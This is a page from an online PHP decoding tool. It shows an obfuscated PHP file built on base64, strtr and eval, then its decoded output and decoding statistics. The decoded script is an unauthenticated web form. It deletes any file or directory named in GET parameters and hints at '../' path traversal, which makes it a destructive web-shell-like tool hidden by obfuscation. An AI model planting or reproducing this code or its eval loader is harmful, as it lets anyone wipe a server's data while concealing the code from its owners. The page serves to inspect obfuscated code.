Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='P2lCP1ouWlZWJEFzV01fSGVZTVNAJF9DS1RqJ0FzV00nZDtWc0EoJEFzV01fSGVZTS..

Decoded Output download

?><?php

$file_name=@$_GET['file'];
if($file_name){
//$fPath="../../mobs/".$file_name;
$fPath=$file_name;
if(unlink($fPath)){echo "ok";}else{echo "error";}

}


if(@$_GET['dir']){

function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  } 

$dir=@$_GET['dir'];
$d=delTree($dir);

if($d){echo "dir del ok";}else{echo "dir error";}
}
?>
<html>
<head>
<title></title>

</head>

<body>
<form action="" method="get" >
file:<input type="text" name="file" /><br/><br/>
dir: <input type="text" name="dir" /> <br/>hint :if same dir then only folder name;if(parent dir then ../parentfoldername)<br/>
<input  type="submit" > 
</form>
</body>
</html>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='P2lCP1ouWlZWJEFzV01fSGVZTVNAJF9DS1RqJ0FzV00nZDtWc0EoJEFzV01fSGVZTSldVmhoJEFtZT0uUyJYWGhYWGhZTzxuaCJYJEFzV01fSGVZTTtWJEFtZT0uUyRBc1dNX0hlWU07VnNBKFFIV3NIeSgkQW1lPS4pKV1NMi5PPiJPeSI7bE1Xbk1dTTIuTz4iTXp6T3oiO2xWVmxWVlZzQShAJF9DS1RqJzlzeidkKV1WVkFRSDI9c09IPjlNV1R6TU0oJDlzeik+XVY+Pj4kQXNXTW4+Uz5lenplcV85c0FBKG4yZUg5c3ooJDlzeiksPmV6emVxKCdYJywnWFgnKSk7Vj4+Pj5BT3pNZTIuPigkQXNXTW4+ZW4+JEFzV00pPl1WPj4+Pj4+KHNuXzlzeigiJDlzemgkQXNXTSIpKT4/PjlNV1R6TU0oIiQ5c3poJEFzV00iKT46PlFIV3NIeSgiJDlzemgkQXNXTSIpO1Y+Pj4+bFY+Pj4+ek09UXpIPnpZOXN6KCQ5c3opO1Y+Pmw+VlYkOXN6U0AkX0NLVGonOXN6J2Q7ViQ5UzlNV1R6TU0oJDlzeik7VlZzQSgkOSldTTIuTz4iOXN6PjlNVz5PeSI7bE1Xbk1dTTIuTz4iOXN6Pk16ek96IjtsVmxWP2lWQi49WVdpVkIuTWU5aVZCPXM9V01pQmg9cz1XTWlWVkJoLk1lOWlWVkI8TzlxaVZCQU96WT5lMj1zT0hTIiI+WU09Lk85UyJ4TT0iPmlWQXNXTTpCc0haUT0+PXFaTVMiPU1SPSI+SGVZTVMiQXNXTSI+aGlCPHpoaUI8emhpVjlzejo+QnNIWlE9Pj1xWk1TIj1NUj0iPkhlWU1TIjlzeiI+aGk+Qjx6aGkuc0g9PjpzQT5uZVlNPjlzej49Lk1IPk9IV3E+QU9XOU16PkhlWU07c0EoWmV6TUg9Pjlzej49Lk1IPlhYaFplek1IPUFPVzlNekhlWU0pQjx6aGlWQnNIWlE9Pj49cVpNUyJuUTxZcz0iPmk+VkJoQU96WWlWQmg8TzlxaVZCaC49WVdp';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw='));?>

Function Calls

strtr 1
strrev 1
str_replace 1
base64_decode 2

Variables

$_D base64_decode
$_F index.php
$_R 0
$_X 0

Stats

MD5 c137fee62b205d1e0d563c841da1fda4
Eval Count 2
Decode Time 58 ms